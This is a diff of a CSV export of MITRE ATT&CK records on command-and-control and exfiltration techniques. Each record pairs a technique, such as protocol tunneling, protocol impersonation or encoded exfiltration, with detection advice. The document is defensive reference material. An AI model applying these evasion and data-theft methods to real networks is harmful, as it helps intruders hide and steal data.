+attack-pattern,attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T16:16:25.763Z,2020-08-21T14:41:22.911Z,File Transfer Protocols,"Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. -Protocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1071/002', external_id='T1071.002'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-08-21 14:41:22.911000+00:00,File Transfer Protocols,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-15 16:13:46.151000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. +Protocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1071/002', 'external_id': 'T1071.002'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T16:13:46.151Z,2020-03-26T20:15:35.821Z,Web Protocols,"Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. -Protocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1071/001', external_id='T1071.001'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-26 20:15:35.821000+00:00,Web Protocols,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) +Protocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1071/001', 'external_id': 'T1071.001'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) -Monitor for web traffic to/from known-bad or suspicious domains. ",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-15 16:03:39.082000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. +Monitor for web traffic to/from known-bad or suspicious domains. ",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T16:03:39.082Z,2020-03-27T17:15:35.372Z,Protocol Tunneling,"Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) -Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1572', external_id='T1572'), ExternalReference(source_name='SSH Tunneling', description='SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.', url='https://www.ssh.com/ssh/tunneling'), ExternalReference(source_name='BleepingComp Godlua JUL19', description='Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.', url='https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-27 17:15:35.372000+00:00,Protocol Tunneling,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,,"Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. +Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1572', 'external_id': 'T1572'}, {'source_name': 'SSH Tunneling', 'description': 'SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.', 'url': 'https://www.ssh.com/ssh/tunneling'}, {'source_name': 'BleepingComp Godlua JUL19', 'description': 'Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.', 'url': 'https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. -Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",,,,,False,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-15 15:37:47.583000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T15:37:47.583Z,2021-10-15T22:49:28.421Z,Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol,"Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. -Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1048/003', external_id='T1048.003'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-28 00:50:31.361000+00:00,Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) ",,,,,True,True,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-15 15:34:30.767000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. +Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1048/003', 'external_id': 'T1048.003'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) ",True,,"['Linux', 'macOS', 'Windows']",1.1,,,True,,,, +attack-pattern,attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T15:34:30.767Z,2021-10-15T22:44:11.953Z,Exfiltration Over Asymmetric Encrypted Non-C2 Protocol,"Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. -Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1048/002', external_id='T1048.002'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-28 00:45:51.014000+00:00,Exfiltration Over Asymmetric Encrypted Non-C2 Protocol,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ",,,,,True,True,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-15 15:30:42.378000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. +Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1048/002', 'external_id': 'T1048.002'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ",True,,"['Linux', 'macOS', 'Windows']",1.1,,,True,,,, +attack-pattern,attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T15:30:42.378Z,2020-03-28T00:43:24.228Z,Exfiltration Over Symmetric Encrypted Non-C2 Protocol,"Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. -Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1048/001', external_id='T1048.001'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-28 00:43:24.228000+00:00,Exfiltration Over Symmetric Encrypted Non-C2 Protocol,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) +Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1048/001', 'external_id': 'T1048.001'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) -Artifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. ",,,,,True,True,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-15 00:40:27.503000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. +Artifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. ",True,,"['Linux', 'macOS', 'Windows']",1.0,,,True,,,, +attack-pattern,attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T00:40:27.503Z,2020-03-15T00:40:27.503Z,Protocol Impersonation,"Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. -Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1001/003', external_id='T1001.003'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-15 00:40:27.503000+00:00,Protocol Impersonation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Network Traffic: Network Traffic Content'],,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",,,,,True,,,,"['Linux', 'Windows', 'macOS']",,,,1.0 -2020-03-15 00:37:58.963000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1001/002', external_id='T1001.002'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-15 00:37:58.963000+00:00,Steganography,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Network Traffic: Network Traffic Content'],,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-15 00:30:25.444000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1001/001', external_id='T1001.001'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-15 00:30:25.444000+00:00,Junk Data,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Network Traffic: Network Traffic Content'],,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-14 23:39:50.117000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1132/002', external_id='T1132.002'), ExternalReference(source_name='Wikipedia Binary-to-text Encoding', description='Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.', url='https://en.wikipedia.org/wiki/Binary-to-text_encoding'), ExternalReference(source_name='Wikipedia Character Encoding', description='Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.', url='https://en.wikipedia.org/wiki/Character_encoding'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-14 23:39:50.117000+00:00,Non-Standard Encoding,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Network Traffic: Network Traffic Content'],,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-14 23:36:52.095000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1132/001', external_id='T1132.001'), ExternalReference(source_name='Wikipedia Binary-to-text Encoding', description='Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.', url='https://en.wikipedia.org/wiki/Binary-to-text_encoding'), ExternalReference(source_name='Wikipedia Character Encoding', description='Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.', url='https://en.wikipedia.org/wiki/Character_encoding'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-14 23:36:52.095000+00:00,Standard Encoding,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Network Traffic: Network Traffic Content'],,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-14 23:29:19.581000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may take advantage of routing 